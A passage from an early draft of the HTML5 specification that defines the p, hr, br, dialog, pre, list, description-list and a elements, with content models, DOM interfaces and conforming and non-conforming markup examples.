id="a"AMPERSANDgt;XAMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;h4AMPERSANDgt;Text Node AAMPERSANDlt;/h4AMPERSANDgt; AMPERSANDlt;sectionAMPERSANDgt;  AMPERSANDlt;h5AMPERSANDgt;XAMPERSANDlt;/h5AMPERSANDgt; AMPERSANDlt;/sectionAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Text Node BAMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;/bodyAMPERSANDgt;</pre>   <p>The associations are as follows (not all associations are shown):</p>   <table>    <thead>     <tr>      <th>Node      <th>Associated heading      <th>Associated section    <tbody>     <tr>      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>     <tr>      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>     <tr>      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>      <td>None.     <tr>      <td><code>AMPERSANDlt;blockquoteAMPERSANDgt;</code>      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>      <td>None.     <tr>      <td><code>AMPERSANDlt;h3AMPERSANDgt;</code>      <td><code>AMPERSANDlt;h3AMPERSANDgt;</code>      <td><code>AMPERSANDlt;blockquoteAMPERSANDgt;</code>     <tr>      <td><code>AMPERSANDlt;p id="a"AMPERSANDgt;</code>      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>      <td>None.     <tr>      <td><code>Text Node A</code>      <td><code>AMPERSANDlt;h4AMPERSANDgt;</code>      <td>None.     <tr>      <td><code>Text Node B</code>      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>   </table>  </div>  <h3 id=prose><span class=secno>3.9. </span>Prose</h3>  <h4 id=the-p><span class=secno>3.9.1. </span>The <dfn   id=p0><code>p</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd><a href="#significant" title="significant inline    content">Significant</a> <a href="#inline-level1">inline-level    content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-copyright><a    href="#copyright0">copyright</a></code>, <code title=class-error><a    href="#error0">error</a></code>, <code title=class-example><a    href="#example1">example</a></code>, <code title=class-issue><a    href="#issue0">issue</a></code>, <code title=class-note><a    href="#note0">note</a></code>, <code title=class-search><a    href="#search1">search</a></code>, <code title=class-warning><a    href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#p0">p</a></code> element represents a <a   href="#paragraph">paragraph</a>.  <p><code><a href="#p0">p</a></code> elements can contain a mixture of <a   href="#strictly">strictly inline-level content</a>, such as text, images,   hyperlinks, etc, and <a href="#structured">structured inline-level   elements</a>, such as lists, tables, and block quotes. <code><a   href="#p0">p</a></code> elements must not be <a href="#significant"   title="significant inline content">empty</a>.  <div class=example>   <p>The following examples are conforming HTML fragments:</p>   <pre>AMPERSANDlt;pAMPERSANDgt;The little kitten gently seated himself on a piece ofcarpet. Later in his life, this would be referred to as the time thecat sat on the mat.AMPERSANDlt;/pAMPERSANDgt;</pre>   <pre>AMPERSANDlt;fieldsetAMPERSANDgt; AMPERSANDlt;legendAMPERSANDgt;Personal informationAMPERSANDlt;/legendAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;   AMPERSANDlt;labelAMPERSANDgt;Name: AMPERSANDlt;input name="n"AMPERSANDgt;AMPERSANDlt;/labelAMPERSANDgt;   AMPERSANDlt;labelAMPERSANDgt;AMPERSANDlt;input name="anon" type="checkbox"AMPERSANDgt; Hide from other usersAMPERSANDlt;/labelAMPERSANDgt; AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;labelAMPERSANDgt;Address: AMPERSANDlt;textarea name="a"AMPERSANDgt;AMPERSANDlt;/textareaAMPERSANDgt;AMPERSANDlt;/labelAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;/fieldsetAMPERSANDgt;</pre>   <pre>AMPERSANDlt;pAMPERSANDgt;There was once an example from Femley,AMPERSANDlt;brAMPERSANDgt;Whose markup was of dubious quality.AMPERSANDlt;brAMPERSANDgt;The validator complained,AMPERSANDlt;brAMPERSANDgt;So the author was pained,AMPERSANDlt;brAMPERSANDgt;To move the error from the markup to the rhyming.AMPERSANDlt;/pAMPERSANDgt;</pre>  </div>  <p>The <code><a href="#p0">p</a></code> element should not be used when a   more specific element is more appropriate.  <div class=example>   <p>The following example is technically correct:</p>   <pre>AMPERSANDlt;sectionAMPERSANDgt; AMPERSANDlt;!-- ... --AMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;/sectionAMPERSANDgt;</pre>   <p>However, it would be better marked-up as:</p>   <pre>AMPERSANDlt;sectionAMPERSANDgt; AMPERSANDlt;!-- ... --AMPERSANDgt; AMPERSANDlt;footerAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/footerAMPERSANDgt; AMPERSANDlt;addressAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/addressAMPERSANDgt;AMPERSANDlt;/sectionAMPERSANDgt;</pre>   <p>Or:</p>   <pre>AMPERSANDlt;sectionAMPERSANDgt; AMPERSANDlt;!-- ... --AMPERSANDgt; AMPERSANDlt;footerAMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;addressAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/addressAMPERSANDgt; AMPERSANDlt;/footerAMPERSANDgt;AMPERSANDlt;/sectionAMPERSANDgt;</pre>  </div>  <h4 id=the-hr><span class=secno>3.9.2. </span>The <dfn   id=hr0><code>hr</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#hr0">hr</a></code> element represents a <a   href="#paragraph">paragraph</a>-level thematic break, e.g. a scene change   in a story, or a transition to another topic within a section of a   reference book.  <h4 id=the-br><span class=secno>3.9.3. </span>The <dfn   id=br0><code>br</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#br0">br</a></code> element represents a line break.  <p><code><a href="#br0">br</a></code> elements must be empty. Any content   inside <code><a href="#br0">br</a></code> elements must not be considered   part of the surrounding text.  <p><code><a href="#br0">br</a></code> elements must only be used for line   breaks that are actually part of the content, as in poems or addresses.  <div class=example>   <p>The following example is correct usage of the <code><a    href="#br0">br</a></code> element:</p>   <pre>AMPERSANDlt;pAMPERSANDgt;P. ShermanAMPERSANDlt;brAMPERSANDgt;42 Wallaby WayAMPERSANDlt;brAMPERSANDgt;SydneyAMPERSANDlt;/pAMPERSANDgt;</pre>  </div>  <p><code><a href="#br0">br</a></code> elements must not be used for   separating thematic groups in a paragraph.  <div class=example>   <p>The following examples are non-conforming, as they abuse the <code><a    href="#br0">br</a></code> element:</p>   <pre>AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;34 comments.AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;brAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;Add a comment.AMPERSANDlt;aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>   <pre>AMPERSANDlt;pAMPERSANDgt;Name: AMPERSANDlt;input name="name"AMPERSANDgt;AMPERSANDlt;brAMPERSANDgt;Address: AMPERSANDlt;input name="address"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>   <p>Here are alternatives to the above, which are correct:</p>   <pre>AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;34 comments.AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;Add a comment.AMPERSANDlt;aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>   <pre>AMPERSANDlt;pAMPERSANDgt;Name: AMPERSANDlt;input name="name"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;pAMPERSANDgt;Address: AMPERSANDlt;input name="address"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>   <!-- XXX should have labels in the examples above --></div>  <h4 id=the-dialog><span class=secno>3.9.4. </span>The <dfn   id=dialog0><code>dialog</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more pairs of <code><a href="#dt0">dt</a></code> and <code><a    href="#dd0">dd</a></code> elements.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#dialog0">dialog</a></code> element represents a   conversation.  <p>Each part of the conversation must have an explicit talker (or speaker)   given by a <code><a href="#dt0">dt</a></code> element, and a discourse (or   quote) given by a <code><a href="#dd0">dd</a></code> element.  <div class=example>   <p>This example demonstrates this using an extract from Abbot and    Costello's famous sketch, <cite>Who's on first</cite>:</p>   <pre>AMPERSANDlt;dialog> AMPERSANDlt;dt>Costello AMPERSANDlt;dd> Look, you gotta first baseman? AMPERSANDlt;dt> Abbott AMPERSANDlt;dd> Certainly. AMPERSANDlt;dt> Costello AMPERSANDlt;dd> Who's playing first? AMPERSANDlt;dt> Abbott AMPERSANDlt;dd> That's right. AMPERSANDlt;dt> Costello AMPERSANDlt;dd> When you pay off the first baseman every month, who gets the money? AMPERSANDlt;dt> Abbott AMPERSANDlt;dd> Every dollar of it. AMPERSANDlt;/dialog></pre>  </div>  <p class=note>Text in a <code><a href="#dt0">dt</a></code> element in a   <code><a href="#dialog0">dialog</a></code> element is implicitly the   source of the text given in the following <code><a   href="#dd0">dd</a></code> element, and the contents of the <code><a   href="#dd0">dd</a></code> element are implicitly a quote from that   speaker. There is thus no need to include <code><a   href="#cite3">cite</a></code>, <code><a href="#q0">q</a></code>, or   <code><a href="#blockquote0">blockquote</a></code> elements in this   markup. Indeed, a <code><a href="#q0">q</a></code> element inside a   <code><a href="#dd0">dd</a></code> element in a conversation would   actually imply the person talking were themselves quoting someone else.   See the <code><a href="#cite3">cite</a></code>, <code><a   href="#q0">q</a></code>, and <code><a   href="#blockquote0">blockquote</a></code> elements for other ways to cite   or quote.  <h3 id=preformatted><span class=secno>3.10. </span>Preformatted text</h3>  <h4 id=the-pre><span class=secno>3.10.1. </span>The <dfn   id=pre0><code>pre</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#pre0">pre</a></code> element represents a block of   preformatted text, in which structure is represented by typographic   conventions rather than by elements.  <p>Some examples of cases where the <code><a href="#pre0">pre</a></code>   element could be used:  <ul>   <li>Including an e-mail, with paragraphs indicated by blank lines, lists    indicated by lines prefixed with a bullet, and so on.   <li>Including fragments of computer code, with structure indicated    according to the conventions of that language.   <li>Displaying ASCII art.</li>   <!-- XXX need a note about non-visual UAs -->  </ul>  <p>If, ignoring <a href="#text-node" title="text node">text nodes</a>   consisting only of <a href="#inter-element" title="inter-element   whitespace">whitespace</a>, the only child of a <code><a   href="#pre0">pre</a></code> is a <code><a href="#code0">code</a></code>   element, then the <code><a href="#pre0">pre</a></code> element represents   a block of computer code.  <p>If, ignoring <a href="#text-node" title="text node">text nodes</a>   consisting only of <a href="#inter-element" title="inter-element   whitespace">whitespace</a>, the only child of a <code><a   href="#pre0">pre</a></code> is a <code><a href="#samp0">samp</a></code>   element, then the <code><a href="#pre0">pre</a></code> element represents   a block of computer output.</p>  <!-- XXX examples -->  <h3 id=lists><span class=secno>3.11. </span>Lists</h3>  <h4 id=the-ol><span class=secno>3.11.1. </span>The <dfn   id=ol0><code>ol</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>Zero or more <code><a href="#li0">li</a></code> elements.   <dt>Element-specific attributes:   <dd><code><a href="#start0">start</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlolistelement>HTMLOListElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute long <a href="#start1" title=dom-start>start</a>;};</pre>  </dl>  <p>The <code><a href="#ol0">ol</a></code> element represents an ordered   list of items (which are represented by <code><a href="#li0">li</a></code>   elements).  <p>The <dfn id=start0><code>start</code></dfn> attribute, if present, must   have a value that consists of an optional U+002D HYPHEN-MINUS followed by   one or more digits (U+0030 to U+0039) expressing a base ten integer giving   the ordinal value of the first list item.  <p>If the <code><a href="#start0">start</a></code> attribute is present,   user agents must <a href="#rules0" title="rules for parsing   integers">parse it as an integer</a>, in order to determine the   attribute's value. The default value, used if the attribute is missing or   if the value cannot be converted to a number according to the referenced   algorithm, is 1.  <p>The items of the list are the <code><a href="#li0">li</a></code> element   child nodes of the <code><a href="#ol0">ol</a></code> element, in <a   href="#tree-order">tree order</a>.  <p>The first item in the list has the ordinal value given by the <code><a   href="#ol0">ol</a></code> element's <code><a   href="#start0">start</a></code> attribute (unless it is further overridden   by that <code><a href="#li0">li</a></code> element's <code><a   href="#value">value</a></code> attribute).  <p>Each subsequent item in the list has the ordinal value given by its   <code><a href="#value">value</a></code> attribute, if it has one, or, if   it doesn't, the ordinal value of the previous item, plus one.  <p>The <dfn id=start1 title=dom-start><code>start</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the value of the <code><a   href="#start0">start</a></code> content attribute.</p>  <!-- XXX resuming numbering of lists from previous lists? -->  <!-- XXX counting up and down? -->  <!-- XXX reverse-counted lists? -->  <h4 id=the-ul><span class=secno>3.11.2. </span>The <dfn   id=ul0><code>ul</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>Zero or more <code><a href="#li0">li</a></code> elements.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#ul0">ul</a></code> element represents an unordered   list of items (which are represented by <code><a href="#li0">li</a></code>   elements).  <p>The items of the list are the <code><a href="#li0">li</a></code> element   child nodes of the <code><a href="#ul0">ul</a></code> element.  <h4 id=the-li><span class=secno>3.11.3. </span>The <dfn   id=li0><code>li</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Inside <code><a href="#ol0">ol</a></code> elements.   <dd>Inside <code><a href="#ul0">ul</a></code> elements.   <dd>Inside <code><a href="#menu0">menu</a></code> elements.   <dt>Content model:   <dd>When the element is a child of an <code><a href="#ol0">ol</a></code>    or <code><a href="#ul0">ul</a></code> element and the grandchild of an    element that is <a href="#determining2" title="Determining if a    particular element contains block-level elements or inline-level    content">being used as an inline-level content container</a>, or, when    the element is a child of a <code><a href="#menu0">menu</a></code>    element: <a href="#inline-level1">inline-level content</a>.   <dd>Otherwise: zero or more <a href="#block-level1">block-level    elements</a>, or <a href="#inline-level1">inline-level content</a> (but    not both).   <dt>Element-specific attributes:   <dd>If the element is a child of an <code><a href="#ol0">ol</a></code>    element: <code><a href="#value">value</a></code>   <dd>If the element is not the child of an <code><a    href="#ol0">ol</a></code> element: None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmllielement>HTMLLIElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute long <a href="#value0" title=dom-li-value>value</a>;};</pre>  </dl>  <p>The <code><a href="#li0">li</a></code> element represents a list item.   If its parent element is an <code><a href="#ol0">ol</a></code>, <code><a   href="#ul0">ul</a></code>, or <code><a href="#menu0">menu</a></code>   element, then the element is an item of the parent element's list, as   defined for those elements. Otherwise, the list item has no defined   list-related relationship to any other <code><a href="#li0">li</a></code>   element.  <p>When the list item is the child of an <code><a href="#ol0">ol</a></code>   or <code><a href="#ul0">ul</a></code> element, the content model of the   item depends on the way that parent element was used. If it was used as   structured inline content (i.e. if <em>that</em> element's parent was <a   href="#determining2" title="Determining if a particular element contains   block-level elements or inline-level content">used as an inline-level   content</a> container), then the <code><a href="#li0">li</a></code>   element must only contain <a href="#inline-level1">inline-level   content</a>. Otherwise, the element may be used either for <a   href="#inline-level1" title="inline-level content">inline content</a> or   <a href="#block-level1">block-level elements</a>.  <p>When the list item is the child of a <code><a   href="#menu0">menu</a></code> element, the <code><a   href="#li0">li</a></code> element must contain only <a   href="#inline-level1">inline-level content</a>.  <p>When the list item is not the child of an <code><a   href="#ol0">ol</a></code>, <code><a href="#ul0">ul</a></code>, or <code><a   href="#menu0">menu</a></code> element, e.g. because it is an orphaned node   not in the document, it may contain either for <a href="#inline-level1"   title="inline-level content">inline content</a> or <a   href="#block-level1">block-level elements</a>.  <p>When <a href="#determining2" title="Determining if a particular element   contains block-level elements or inline-level content">used as an   inline-level content</a> container, the list item represents a single <a   href="#paragraph">paragraph</a>.</p>  <!-- XXX instead refer to microsyntaxes -->  <p>The <dfn id=value><code>value</code></dfn> attribute, if present, must   have a value that consists of an optional U+002D HYPHEN-MINUS followed by   one or more digits (U+0030 to U+0039) expressing a base ten integer giving   the ordinal value of the first list item.  <p>If the <code><a href="#value">value</a></code> attribute is present,   user agents must <a href="#rules0" title="rules for parsing   integers">parse it as an integer</a>, in order to determine the   attribute's value. If the attribute's value cannot be converted to a   number, it is treated as if the attribute was absent. The attribute has no   default value.  <p>The <code><a href="#value">value</a></code> attribute is processed   relative to the element's parent <code><a href="#ol0">ol</a></code>   element, if there is one. If there is not, the attribute has no effect.  <p>The <dfn id=value0 title=dom-li-value><code>value</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the value of the <code><a   href="#value">value</a></code> content attribute.  <h4 id=the-dl><span class=secno>3.11.4. </span>The <dfn   id=dl0><code>dl</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>Zero or more groups each consisting of one or more <code><a    href="#dt0">dt</a></code> elements followed by one or mode <code><a    href="#dd0">dd</a></code> elements.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#dl0">dl</a></code> element introduces an unordered   association list consisting of zero or more name-value groups (a   description list). Each group must consist of one or more names (<code><a   href="#dt0">dt</a></code> elements) followed by one or more values   (<code><a href="#dd0">dd</a></code> elements).  <p>Name-value groups may be terms and definitions, metadata topics and   values, or any other groups of name-value data.  <div class=example>   <p>The following are all conforming HTML fragments.</p>   <p>In the following example, one entry ("Authors") is linked to two values    ("John" and "Luke").</p>   <pre>AMPERSANDlt;dlAMPERSANDgt; AMPERSANDlt;dtAMPERSANDgt; Authors AMPERSANDlt;ddAMPERSANDgt; John AMPERSANDlt;ddAMPERSANDgt; Luke AMPERSANDlt;dtAMPERSANDgt; Editor AMPERSANDlt;ddAMPERSANDgt; FrankAMPERSANDlt;/dlAMPERSANDgt;</pre>   <p>In the following example, one definition is linked to two terms.</p>   <pre>AMPERSANDlt;dlAMPERSANDgt; AMPERSANDlt;dt lang="en-US"AMPERSANDgt; AMPERSANDlt;dfn>colorAMPERSANDlt;/dfn> AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;dt lang="en-GB"AMPERSANDgt; AMPERSANDlt;dfn>colourAMPERSANDlt;/dfn> AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;ddAMPERSANDgt; A sensation which (in humans) derives from the ability of the fine structure of the eye to distinguish three differently filtered analyses of a view. AMPERSANDlt;/ddAMPERSANDgt;AMPERSANDlt;/dlAMPERSANDgt;</pre>   <p>The following example illustrates the use of the <code><a    href="#dl0">dl</a></code> element to mark up metadata of sorts. At the    end of the example, one group has two metadata labels ("Authors" and    "Editors") and two values ("Robert Rothman" and "Daniel Jackson").</p>   <pre>AMPERSANDlt;dlAMPERSANDgt; AMPERSANDlt;dtAMPERSANDgt; Last modified time AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;ddAMPERSANDgt; 2004-12-23T23:33Z AMPERSANDlt;/ddAMPERSANDgt; AMPERSANDlt;dtAMPERSANDgt; Recommended update interval AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;ddAMPERSANDgt; 60s AMPERSANDlt;/ddAMPERSANDgt; AMPERSANDlt;dtAMPERSANDgt; Authors AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;dtAMPERSANDgt; Editors AMPERSANDlt;/dtAMPERSANDgt; AMPERSANDlt;ddAMPERSANDgt; Robert Rothman AMPERSANDlt;/ddAMPERSANDgt; AMPERSANDlt;ddAMPERSANDgt; Daniel Jackson AMPERSANDlt;/ddAMPERSANDgt;AMPERSANDlt;/dlAMPERSANDgt;</pre>  </div>  <p>If a <code><a href="#dl0">dl</a></code> element is empty, it contains no   groups.  <p>If a <code><a href="#dl0">dl</a></code> element contains non-<a   href="#inter-element" title="inter-element whitespace">whitespace</a> <a   href="#text-node" title="text node">text nodes</a>, or elements other than   <code><a href="#dt0">dt</a></code> and <code><a href="#dd0">dd</a></code>,   then those elements or <a href="#text-node" title="text node">text   nodes</a> do not form part of any groups in that <code><a   href="#dl0">dl</a></code>, and the document is non-conforming.  <p>If a <code><a href="#dl0">dl</a></code> element contains only <code><a   href="#dt0">dt</a></code> elements, then it consists of one group with   names but no values, and the document is non-conforming.  <p>If a <code><a href="#dl0">dl</a></code> element contains only <code><a   href="#dd0">dd</a></code> elements, then it consists of one group with   values but no names, and the document is non-conforming.  <p class=note>The <code><a href="#dl0">dl</a></code> element is   inappropriate for marking up dialogue, since dialogue is ordered (each   speaker/line pair comes after the next). For an example of how to mark up   dialogue, see the <code><a href="#dialog0">dialog</a></code> element.  <h4 id=the-dt><span class=secno>3.11.5. </span>The <dfn   id=dt0><code>dt</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Before <code><a href="#dd0">dd</a></code> or <code><a    href="#dt0">dt</a></code> elements inside <code><a    href="#dl0">dl</a></code> elements.   <dd>Before a <code><a href="#dd0">dd</a></code> element inside a <code><a    href="#dialog0">dialog</a></code> element.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#dt0">dt</a></code> element represents the term, or   name, part of a term-description group in a description list (<code><a   href="#dl0">dl</a></code> element), and the talker, or speaker, part of a   talker-discourse pair in a conversation (<code><a   href="#dialog0">dialog</a></code> element).  <p class=note>The <code><a href="#dt0">dt</a></code> element itself, when   used in a <code><a href="#dl0">dl</a></code> element, does not indicate   that its contents are a term being defined, but this can be indicated   using the <code><a href="#dfn0">dfn</a></code> element.  <h4 id=the-dd><span class=secno>3.11.6. </span>The <dfn   id=dd0><code>dd</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>After <code><a href="#dt0">dt</a></code> or <code><a    href="#dd0">dd</a></code> elements inside <code><a    href="#dl0">dl</a></code> elements.   <dd>After a <code><a href="#dt0">dt</a></code> element inside a <code><a    href="#dialog0">dialog</a></code> element.   <dt>Content model:   <dd>When the element is a child of a <code><a href="#dl0">dl</a></code>    element and the grandchild of an element that is <a href="#determining2"    title="Determining if a particular element contains block-level elements    or inline-level content">being used as an inline-level content    container</a>: <a href="#inline-level1">inline-level content</a>.   <dd>Otherwise: zero or more <a href="#block-level1">block-level    elements</a>, or <a href="#inline-level1">inline-level content</a> (but    not both).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#dd0">dd</a></code> element represents the   description, definition, or value, part of a term-description group in a   description list (<code><a href="#dl0">dl</a></code> element), and the   discourse, or quote, part in a conversation (<code><a   href="#dialog0">dialog</a></code> element).  <p>The content model of a <code><a href="#dd0">dd</a></code> element   depends on the way its parent element is being used. If the parent element   is a <code><a href="#dl0">dl</a></code> element that is being used as   structured inline content (i.e. if the <code><a href="#dl0">dl</a></code>   element's parent element is being <a href="#determining2"   title="Determining if a particular element contains block-level elements   or inline-level content">used as an inline-level content</a> container),   then the <code><a href="#dd0">dd</a></code> element must only contain <a   href="#inline-level1">inline-level content</a>.  <p>Otherwise, the element may be used either for <a href="#inline-level1"   title="inline-level content">inline content</a> or <a   href="#block-level1">block-level elements</a>.  <h3 id=phrase><span class=secno>3.12. </span>Phrase elements</h3>  <!-- XXXX ruby (delayed until someone can define it with error handling rules) -->  <h4 id=the-a><span class=secno>3.12.1. </span>The <dfn   id=a0><code>a</code></dfn> element</h4>  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a   href="#strictly">strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed, if there are no ancestor <a href="#interactive3">interactive    elements</a>.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#significant" title="significant inline content">significant</a> <a    href="#strictly">strictly inline-level content</a>, but there must be no    <a href="#interactive3" title="interactive elements">interactive</a>    descendants.   <dd>Otherwise: any <a href="#significant" title="significant inline    content">significant</a> <a href="#inline-level1">inline-level    content</a>, but there must be no <a href="#interactive3"    title="interactive elements">interactive</a> descendants.   <dt>Element-specific attributes:   <dd><code title=attr-hyperlink-href><a href="#href5">href</a></code>   <dd><code title=attr-hyperlink-rel><a href="#rel3">rel</a></code>   <dd><code title=attr-hyperlink-media><a href="#media5">media</a></code>   <dd><code title=attr-hyperlink-hreflang><a    href="#hreflang3">hreflang</a></code>   <dd><code title=attr-hyperlink-type><a href="#type14">type</a></code>   <dd><code title=attr-hyperlink-ping><a href="#ping">ping</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlanchorelement>HTMLAnchorElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#href3" title=dom-a-href>href</a>;           attribute DOMString <a href="#rel1" title=dom-a-rel>rel</a>;           attribute DOMString <a href="#media3" title=dom-a-media>media</a>;           attribute DOMString <a href="#hreflang1" title=dom-a-hreflang>hreflang</a>;           attribute DOMString <a href="#type3" title=dom-a-type>type</a>;           attribute DOMString <a href="#ping0" title=dom-a-ping>ping</a>;};</pre>    <p>The <code title=command-ro><a href="#command3">Command</a></code>     interface must also be implemented by this element.</p>  </dl>  <p>If the <code><a href="#a0">a</a></code> element has an <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then   it represents a <a href="#hyperlinks">hyperlink</a>.  <p>If the <code><a href="#a0">a</a></code> element has no <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then   the element is a placeholder for where a link might otherwise have been   placed, if it had been 